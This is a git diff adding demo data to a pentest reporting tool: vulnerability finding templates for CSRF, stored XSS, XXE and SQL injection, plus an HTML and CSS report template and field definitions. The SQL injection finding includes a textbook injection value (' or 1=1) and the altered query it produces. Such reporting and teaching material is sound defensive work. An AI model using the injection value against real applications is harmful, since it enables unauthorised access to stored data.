Detailed information and assistance on how to prevent CSRF vulnerabilities can be found in the linked Cross-Site Request Forgery Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] + +[[findings]] +id = "a022aca2-118f-4080-b49c-cd4bc17d481c" +status = "in-progress" + +[findings.data] +title = "Stored Cross-Site Scripting (XSS)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N" +summary = """ +At the time of testing, the web application stored user input unchecked and later included it in HTTP responses in an insecure manner. It was thus vulnerable to stored cross-site scripting (XSS) attacks. +Exploitation of Stored XSS vulnerabilities does not require user interaction, making them more dangerous than Reflected XSS vulnerabilities. +""" +description = """ +We were able to identify a stored XSS vulnerability in the web application during testing. Due to incorrect validation and encoding of data, we were able to inject malicious scripts into the web application and store them persistently. + +Cross-site scripting (XSS) is a common web security vulnerability where malicious scripts can be injected into web applications due to insufficient validation or encoding of data. In XSS attacks, attackers embed JavaScript code in the content delivered by the vulnerable web application. + +The goal in stored XSS attacks is to place script code on pages visited by other users. Simply visiting the affected subpage is enough for the script code to be executed in the victim's web browser. + +For an attack, malicious scripts are injected into the web application by the attacker and stored and included in subsequent HTTP responses of the application. The malicious script is ultimately executed in the victim's web browser and can potentially access cookies, session tokens or other sensitive information. + +If the attack is successful, an attacker gains control over web application functions and data in the victim's context. If the affected user has privileged access, an attacker may be able to gain complete control over the web application. +""" +recommendation = """ +* Ensure that all processed data is filtered as rigorously as possible. Filtering and validation should be done based on expected and valid inputs. +* Data should be encoded before the web application includes it in HTTP responses. Encoding should be done contextually, that is, depending on where the web application inserts data in the HTML document, the appropriate encoding syntax must be considered. +* The HTTP headers `Content-Type` (e.g. `text/plain`) and `X-Content-Type-Options: nosniff` can be set for HTTP responses that do not contain HTML and JavaScript. +* We recommend to additionally use a Content Security Policy (CSP) to control which client-side scripts are allowed and which are forbidden. +* Detailed information and help on preventing XSS can be found in the linked Cross-Site Scripting Prevention Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] + +[[findings]] +id = "da2010da-bd99-4daa-bc56-49c8c401e6d3" +status = "in-progress" + +[findings.data] +title = "XML External Entity Injection (XXE)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" +summary = "The web application processed XML documents in an insecure manner, which made it vulnerable to XML External Entity (XXE) Injection attacks. XXE Injection is a vulnerability in web applications that allows an attacker to interfere with the processing of XML documents by an XML parser. This attack can lead to disclosure of confidential data, denial of service, server-side request forgery, and other severe impact on the underlying system or other backend systems." +description = """ +We identified an XXE injection vulnerability in the web application. The XML parser allowed the definition of XXEs, which could create a malicious XML document. The XXE contained a URL that referenced an external domain. After the XXE was dereferenced by the parser, the web application interacted with this domain, which is evident from the DNS requests. + +Extensible Markup Language (XML) is a standardized markup language and file format for storing, transmitting, and reconstructing arbitrary data. The language encodes data in a format that is readable by both humans and machines. The structure of an XML document is defined in the XML standard. The standard provides for a concept called an entity. Entities provide the ability to reference content that is provided remotely by a server or resides locally on the server. When the XML parser evaluates the XML document, the entity it contains is replaced with the referenced value. Entities are defined in so-called Document Type Definitions (DTDs). + +DTDs define the structure and composition of an XML document. They can either be completely contained in the XML document itself, so-called internal DTDs, or they can be loaded from another location, so-called external DTDs. A combination of both variants is also possible. XML External Entities (XXE) are a special form of XML entities whose contents are loaded from outside the DTD in which they are declared. + +An XXE is declared in the DTD with the SYSTEM keyword and a URI from where the content should be loaded. For example: + +` ]>` + +The URI can also use the `file://` protocol scheme. Content can be loaded from local files as a result. For example: + +` ]>` + +When evaluating XML documents, the XML parser replaces occurring XXEs with the contents by dereferencing the defined URIs. If the URI contains manipulated data, this could have serious consequences. An attacker can exploit this to perform server-side request forgery (SSRF) attacks and compromise the underlying server or other backend infrastructure. XXE injection vulnerabilities can also be exploited to cause service/application downtime (denial of service) or expose sensitive data such as local system files. +""" +recommendation = """ +* The XML parser should be configured to use a local static DTD and not allow external DTDs declared in the XML document. +* We recommend limiting the functions of the XML parsing library to the minimum needed (see the documentation of the library used). +* User input should be validated before parsing if possible. +* Detailed information and help on preventing XXE injections can be found in the linked XML External Entity Prevention Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] + +[[findings]] +id = "9bc61f44-8489-435f-8818-5267cdfb2e7c" +status = "in-progress" + +[findings.data] +title = "SQL Injection (SQLi)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +summary = "The web application processed user input in an insecure manner and was thus vulnerable to SQL injection. In an SQL injection attack, special input values in the web application are used to influence the application's SQL statements to its database. Depending on the database used and the design of the application, this may make it possible to read and modify the data stored in the database, perform administrative actions (e.g., shut down the DBMS), or in some cases even gain code execution and the accompanying complete control over the vulnerable server." +description = """ +We identified a SQL injection vulnerability in the web application and were able to access stored data in the database as a result. + +SQL Injection is a common server-side vulnerability in web applications. It occurs when software developers create dynamic database queries that contain user input. In an attack, user input is crafted in such a way that the originally intended action of an SQL statement is changed. SQL injection vulnerabilities result from an application's failure to dynamically create database queries insecurely and to properly validate user input. They are based on the fact that the SQL language basically does not distinguish between control characters and data characters. In order to use a control character in the data part of an SQL statement, it must be encoded or escaped appropriately beforehand. + +An SQL injection attack is therefore essentially carried out by inserting a control character such as `'` (single apostrophe) into the user input to place new commands that were not present in the original SQL statement. A simple example will demonstrate this process. The following SELECT statement contains a variable userId. The purpose of this statement is to get data of a user with a specific user id from the Users table. + +`sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + userId;` + +An attacker could now use special user input to change the original intent of the SQL statement. For example, he could use the string `' or 1=1` as user input. In this case, the application would construct the following SQL statement: + +`sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + ' or 1=1;` + +Instead of the data of a user with a specific user ID, the data of all users in the table is now returned to the attacker after executing the statement. This gives an attacker the ability to control the SQL statement in his own favor. + +There are a number of variants of SQL injection vulnerabilities, attacks and techniques that occur in different situations and depending on the database system used. However, what they all have in common is that, as in the example above, user input is always used to dynamically construct SQL statements. Successful SQL injection attacks can have far-reaching consequences. One would be the loss of confidentiality and integrity of the stored data. Attackers could gain read and possibly write access to sensitive data in the database. SQL injection could also compromise the authentication and authorization of the web application, allowing attackers to bypass existing access controls. In some cases, SQL injection can also be used to gain code execution, allowing an attacker to gain complete control over the vulnerable server. +""" +recommendation = """ +* Use prepared statements throughout the application to effectively avoid SQL injection vulnerabilities. Prepared statements are parameterized statements and ensure that even if input values are manipulated, an attacker is unable to change the original intent of an SQL statement. +* Use existing stored procedures by default where possible. Typically, stored procedures are implemented as secure parameterized queries and thus protect against SQL injections. +* Always validate all user input. Ensure that only input that is expected and valid for the application is accepted. You should not sanitize potentially malicious input. +* To reduce the potential damage of a successful SQL Injection attack, you should minimize the assigned privileges of the database user used according to the principle of least privilege. +* For detailed information and assistance on how to prevent SQL Injection vulnerabilities, see OWASP's linked SQL Injection Prevention Cheat Sheet. +""" +references = [ + "https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet", +] +affected_components = [ + "example.com", +] + +[project_type] +format = "projecttypes/v1" +id = "b63f6904-0496-497a-b0e7-8d207c4ef1c5" +name = "Demo Calzone v1.1" +language = "en-US" +finding_field_order = [ + "title", + "cvss", + "references", + "affected_components", + "summary", + "description", + "recommendation", +] +report_template = """ + + + + +
DRAFT
+ + + +
+
+

PENTEST REPORT

+

{{ report.title }}

+
+ +
+

+ Security Maximale GmbH
+ Example Street 47
+ 4711 Example
+ FN 12345 v | D.C. Example +

+

+ +

+
+ +
+

+ {{ report.customer_name }}
+ Attn. {{ report.receiver_name }}
+ {{ report.customer_address.street }}
+ {{ report.customer_address.city }} +

+

+ Example City, {{ formatDate(report.report_date, 'long') }}
+ Report Version: {{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + +
+

List of Figures

+
    +
  • + +
  • +
+
+ +
+ + + +
+

Document Control

+ +
+

Team

+ + + + + + + + + + + +
ContactDetailsRole
{{ u.name }} + Mobile: {{ u.mobile }}
+ E-Mail: {{ u.email }} +
+ + + +
+
+ +
+

List of Changes

+ + + + + + + + + + + +
VersionDescriptionDate
{{ version.version }}{{ version.description }}{{ formatDate(version.date, 'medium') }}
+
+
+ + + + + + + +
+

Executive Summary

+ +
+

Overview

+ +
+ +
+

Identified Vulnerabilities

+ + + + + + + + + + + + + + + + + + +
#CVSSDescriptionPage
+
+ +
+

Vulnerability Overview

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+
+
+ + + +
+

Methodology

+

+ This is a static text built into the design template. If this text changes from report to report, you can + easily make it dynamic by adding a new report field and replacing the text by the used variable, e.g.: + +

{{ report.methodology }}
+ +

+ + + ## Objective {#objective .in-toc.numbered} + This is also a static text. This time it's written in markdown. + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. + * Lorem ipsum dolor sit amet + * consetetur sadipscing elitr + * sed diam nonumy eirmod tempor + * Stet clita kasd gubergren + * dolore magna aliquyam erat + + +
+

Scope

+

Here comes a static text with dynamic components:

+

+ Lorem ipsum dolor sit amet, consetetur, from {{ formatDate(report.start_date, 'medium') }} to {{ + formatDate(report.end_date, 'medium') }} no sea takimata sanctus est Lorem ipsum dolor sit + amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sea takimata sanctus est Lorem ipsum dolor + sit amet. Lorem ipsum dolor sit amet, consetetur, {{ report.duration }} consetetur + sadipscing elitr, sea takimata sanctus est Lorem ipsum dolor sit amet. +

+ + +
+ + +
+

User Accounts and Permissions

+ +
+
+ + + +
+

Findings

+ +
+ + + + + + + + + + + + + + + + + + + + +
+

+ {{ ['I', 'L', 'M', 'H', 'C'][finding.cvss.level_number - 1] }}{{ findings.filter(f => + f.cvss.level === finding.cvss.level).indexOf(finding) + 1 }}: + {{ finding.title }} +

+
Score + {{ finding.cvss.score }} ({{ lodash.capitalize(finding.cvss.level) }}) +
Vector string + N/A + {{ finding.cvss.vector }} +
Target + - + {{ finding.affected_components[0] + }} +
    +
  • {{ c }}
  • +
+
References + - + {{ finding.references[0] }} +
    +
  • {{ r }}
  • +
+
+ +

Overview

+ + +

Details

+ + +

Recommendation

+ + + +
+
+ + + + # Disclaimer {#disclaimer .in-toc.numbered} + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + + + +
+

Appendix

+ + ## Static Appendix Section {.in-toc.numbered} + TODO: Appendix section content + + +
+

{{ appendix_section.title }}

+ +
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #FF2600; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #0096FF; + --color-risk-info: #00AE51; +} + +/* Font */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + +/* Justification */ +p { + text-align: justify; + text-align-last: start; +} + +/* Links */ +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +/* Code blocks */ +pre code { + border: 1px solid black; +} + +/* Table */ +th { + background-color: #ABABAB; + font-weight: bold; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + + + +/* Table styling */ +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.2em 0.5em 0.2em 0.5em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +td.table-key { + height: 3em; + width: 10em; + background-color: #ABABAB; +} + + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + + +/* Styling affected_components list in findings */ +.finding-systems { + padding-left: 1em; +} +.finding-systems-cols { + column-count: 2; + padding-top: 1em; + margin-bottom: 1em; +} + + +/* Footnotes */ +@page { + @footnote { + border-top: 1px solid black; + } +} +footnote { + font-size: 8pt; +} + + +/* Watermark */ +#watermark { + position: fixed; + top: 8cm; + left: 2cm; + transform: rotate(-45deg); + font-size: 100pt; + opacity: 0.2; +} + + +/* #region lof */ +/* List of figures */ +#lof li { + list-style: none; + margin: 0; + padding: 0; +} +#lof .ref-figure::before { + content: var(--prefix-figure) target-counter(attr(href), figure-counter) " - "; +} +#lof .ref-figure > .ref-title { + display: inline; +} +#lof .ref-figure::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +/* #endregion lof */ + + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +/* #endregion toc */ + + +/* #region footer */ +#footer-left { + position: running(footer-left); +} +#footer-center { + position: running(footer-center); +} +@page { + @bottom-left { + content: element(footer-left); + } + @bottom-center { + content: element(footer-center); + } + @bottom-right-corner { + content: counter(page); + font-size: 9pt; + } +} +/* #endregion footer */ + + +/* #region header */ +@page { + margin: 35mm 20mm 25mm 20mm; + + @top-right { + content: element(header-right); + margin-bottom: 5mm; + width: 50%; + } +} +#header-right { + position: running(header-right); + text-align: end; +} +#header-right img { + height: 27mm; + width: auto; +} +/* #endregion header */ + + +/* #region page-cover */ +#page-cover .page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; +} +#page-cover .page-cover-title h1 { + font-size: 32pt; +} +#page-cover .page-cover-title h2 { + font-size: 24pt; +} +#page-cover .page-cover-recipient { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; +} +#page-cover .page-cover-address { + font-size: 14pt; +} +#page-cover .page-cover-meta { + line-height: 2em; +} +#page-cover .page-cover-imprint { + position: absolute; + top: 12cm; + right: -10mm; + width: 40mm; + font-size: 8pt; +} +@page:first { + /* Hide footer*/ + @bottom-center { content: none !important; } + @bottom-right-corner { content: none !important; } +} +/* #endregion page-cover */ +""" + +[project_type.report_fields] +[project_type.report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "TODO report title" +required = true +spellcheck = false + +[project_type.report_fields.draft] +type = "boolean" +label = "Is Draft?" +origin = "custom" +default = true + +[project_type.report_fields.scope] +type = "markdown" +label = "Scope" +origin = "custom" +default = """ +**TODO: Scope** + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, At accusam aliquyam diam diam dolore dolores duo eirmod eos erat, et nonumy sed tempor et et invidunt justo labore Stet clita ea et gubergren, kasd magna no rebum. sanctus sea sed takimata ut vero voluptua. est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur + +| System | Description | +|:---|:---| +| TODO | TODO | +""" +required = true + +[project_type.report_fields.duration] +type = "string" +label = "Duration" +origin = "custom" +default = "TODO person days" +required = true +spellcheck = false + +[project_type.report_fields.end_date] +type = "date" +label = "Pentest End Date" +origin = "custom" +required = true + +[project_type.report_fields.start_date] +type = "date" +label = "Pentest Start Date" +origin = "custom" +required = true + +[project_type.report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[project_type.report_fields.customer_name] +type = "string" +label = "Customer" +origin = "custom" +default = "TODO company" +required = true +spellcheck = false + +[project_type.report_fields.receiver_name] +type = "string" +label = "Receiver Name" +origin = "custom" +default = "TODO receiver" +required = true +spellcheck = false + +[project_type.report_fields.provided_users] +type = "markdown" +label = "Users and Permissions" +origin = "custom" +default = """ +**TODO: Provided Users** +* User 1 +* User 2 +* User 3 +""" +required = true + +[project_type.report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[project_type.report_fields.list_of_changes] +type = "list" +label = "List of Changes" +origin = "custom" +required = true + +[project_type.report_fields.list_of_changes.items] +type = "object" +label = "" +origin = "custom" + +[project_type.report_fields.list_of_changes.items.properties] +[project_type.report_fields.list_of_changes.items.properties.description] +type = "string" +label = "Description" +origin = "custom" +default = "TODO description" +required = true +spellcheck = false + +[project_type.report_fields.list_of_changes.items.properties.date] +type = "date" +label = "Date" +origin = "custom" +required = true + +[project_type.report_fields.list_of_changes.items.properties.version] +type = "string" +label = "Version" +origin = "custom" +default = "TODO version" +required = true +spellcheck = false + +[project_type.report_fields.customer_address] +type = "object" +label = "Address" +origin = "custom" + +[project_type.report_fields.customer_address.properties] +[project_type.report_fields.customer_address.properties.city] +type = "string" +label = "City" +origin = "custom" +default = "TODO city" +required = true +spellcheck = false + +[project_type.report_fields.customer_address.properties.street] +type = "string" +label = "Street" +origin = "custom" +default = "TODO street" +required = true +spellcheck = false + +[project_type.report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[project_type.report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[project_type.report_fields.appendix_sections.items.properties] +[project_type.report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[project_type.report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO appendix content" +required = true + +[project_type.report_fields.executive_summary] +type = "markdown" +label = "Executive Summary" +origin = "custom" +default = """ +**TODO: Executive Summary** + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" +required = true + +[[project_type.report_sections]] +id = "executive_summary" +label = "Executive Summary" +fields = [ + "executive_summary", +] + +[[project_type.report_sections]] +id = "scope" +label = "Scope" +fields = [ + "scope", + "start_date", + "end_date", + "duration", + "provided_users", +] + +[[project_type.report_sections]] +id = "customer" +label = "Customer" +fields = [ + "customer_name", + "customer_address", + "receiver_name", +] + +[[project_type.report_sections]] +id = "other" +label = "Other" +fields = [ + "title", + "report_date", + "report_version", + "list_of_changes", + "draft", +] + +[[project_type.report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[project_type.finding_fields] +[project_type.finding_fields.title] +type = "string" +label = "Titel" +origin = "core" +default = "TODO finding title" +required = true +spellcheck = false + +[project_type.finding_fields.cvss] +type = "cvss" +label = "CVSS" +origin = "core" +default = "n/a" +required = true + +[project_type.finding_fields.summary] +type = "markdown" +label = "Overview" +origin = "predefined" +default = "TODO summary" +required = true + +[project_type.finding_fields.description] +type = "markdown" +label = "Details" +origin = "predefined" +default = "TODO description" +required = true + +[project_type.finding_fields.recommendation] +type = "markdown" +label = "Recommendation" +origin = "predefined" +default = "TODO recommendation" +required = true + +[project_type.finding_fields.references] +type = "list" +label = "References" +origin = "predefined" +required = false + +[project_type.finding_fields.references.items] +type = "string" +label = "Reference" +origin = "predefined" +default = "TODO reference" +required = true +spellcheck = false + +[project_type.finding_fields.affected_components] +type = "list" +label = "Affected Components" +origin = "predefined" +required = true + +[project_type.finding_fields.affected_components.items] +type = "string" +label = "Component" +origin = "predefined" +default = "TODO affected component" +required = true +spellcheck = false + +[project_type.report_preview_data] +[project_type.report_preview_data.report] +title = "Example Web-App" +draft = true +scope = """ +This is the scope of the pentest. The table below was created as "Report Field" as variable `scope` in a markdown field. + +| System | Description | +|:---|:---| +| 10.0.0.1 | System1 | +| 10.0.0.2 | System2 | +| 10.0.0.3 | System3 | +| 10.0.0.4 | System4 | +""" +duration = "10 Person Days" +end_date = "2022-07-29" +start_date = "2022-07-18" +report_date = "2022-07-29" +receiver_name = "Maximus Demoman" +provided_users = """ +This content is also created in a markdown field per report. + +* **Admin**: admin1@example.com +* **User**: user1@example.com +* **User**: user2@example.com +""" +report_version = "1.0" +executive_summary = """ +This is the executive summary. The variable `executive_summary` is defined as "Report Field" and can be filled out per report in markdown (or HTML). + +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. + + + + + +""" + +[[project_type.report_preview_data.report.list_of_changes]] +description = "Final Report" +date = "2022-10-19" +version = "1.0" + +[[project_type.report_preview_data.report.list_of_changes]] +description = "Draft" +date = "2022-10-18" +version = "0.1" + +[project_type.report_preview_data.report.customer_address] +city = "A-4711 Example" +street = "Demo Street 1" + +[[project_type.report_preview_data.report.appendix_sections]] +title = "Dynamic Appendix Section" +content = "You can add as many sections as you like. The \"Report Field\" `appendix_section` is a list of objects with a title (text field) and content (markdown field)." + +[[project_type.report_preview_data.report.appendix_sections]] +title = "Another Dynamic Appendix Section" +content = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut +labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores +et ea rebum. +""" + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "a10eed1a-07f5-46ef-bf3a-b78208e72272" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Also Critical" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "36b093db-5512-4169-9641-947d16dfce31" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[project_type.report_preview_data.findings]] +title = "Demo Finding High" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "25a70e70-515e-4664-b7ab-dffc2f2fe12e" +references = [ + "https://example.com", +] +affected_components = [ + "https://example.com", +] + +[[project_type.report_preview_data.findings]] +title = "Demo Finding Low" +cvss = "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N" +summary = "TODO summary" +description = "TODO description" +recommendation = "TODO recommendation" +id = "7ecef42b-d76e-4b29-93ad-2f52d0eee4d8" +references = [] +affected_components = [] + +[[project_type.assets]] +id = "d904cecb-071c-4b12-b52d-0e9ea9f5eb93" +name = "LICENSE" + +[[project_type.assets]] +id = "af6dbeb6-895d-42fe-9f90-2f2221815e5e" +name = "test.png" + +[[project_type.assets]] +id = "9917bb37-9f94-4926-801e-6570b327251a" +name = "logo-transparent.png" diff --git a/demo_data/demo-projects/margherita-report-demo-assets/LICENSE b/demo_data/demo-projects/margherita-report-demo-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/demo-projects/margherita-report-demo-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/demo-projects/margherita-report-demo-assets/background-26185.jpg b/demo_data/demo-projects/margherita-report-demo-assets/background-26185.jpg new file mode 100644 index 0000000..90cbc0d Binary files /dev/null and b/demo_data/demo-projects/margherita-report-demo-assets/background-26185.jpg differ diff --git a/demo_data/demo-projects/margherita-report-demo-assets/header-logo.png b/demo_data/demo-projects/margherita-report-demo-assets/header-logo.png new file mode 100644 index 0000000..e6ab53a Binary files /dev/null and b/demo_data/demo-projects/margherita-report-demo-assets/header-logo.png differ diff --git a/demo_data/demo-projects/margherita-report-demo-assets/logo-transparent.png b/demo_data/demo-projects/margherita-report-demo-assets/logo-transparent.png new file mode 100644 index 0000000..4526ce1 Binary files /dev/null and b/demo_data/demo-projects/margherita-report-demo-assets/logo-transparent.png differ diff --git a/demo_data/demo-projects/margherita-report-demo-images/image.png b/demo_data/demo-projects/margherita-report-demo-images/image.png new file mode 100644 index 0000000..0b0d7bb Binary files /dev/null and b/demo_data/demo-projects/margherita-report-demo-images/image.png differ diff --git a/demo_data/demo-projects/margherita-report-demo.toml b/demo_data/demo-projects/margherita-report-demo.toml new file mode 100644 index 0000000..1dc1a1c --- /dev/null +++ b/demo_data/demo-projects/margherita-report-demo.toml @@ -0,0 +1,1406 @@ +format = "projects/v1" +id = "03ea164f-3690-41c1-a5b5-a8cc6b5e3095" +name = "Margherita Report Demo" +language = "en-US" +tags = [] +members = [] + +[[sections]] +id = "scope" +status = "in-progress" + +[[sections]] +id = "customer" +status = "in-progress" + +[[sections]] +id = "executive_summary" +status = "in-progress" + +[[sections]] +id = "other" +status = "in-progress" + +[[images]] +id = "e627bfe7-3344-4e74-9109-08c09f2552bc" +name = "image.png" + +[report_data] +title = "Demo-Design-2 Report" +scope = """ +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu 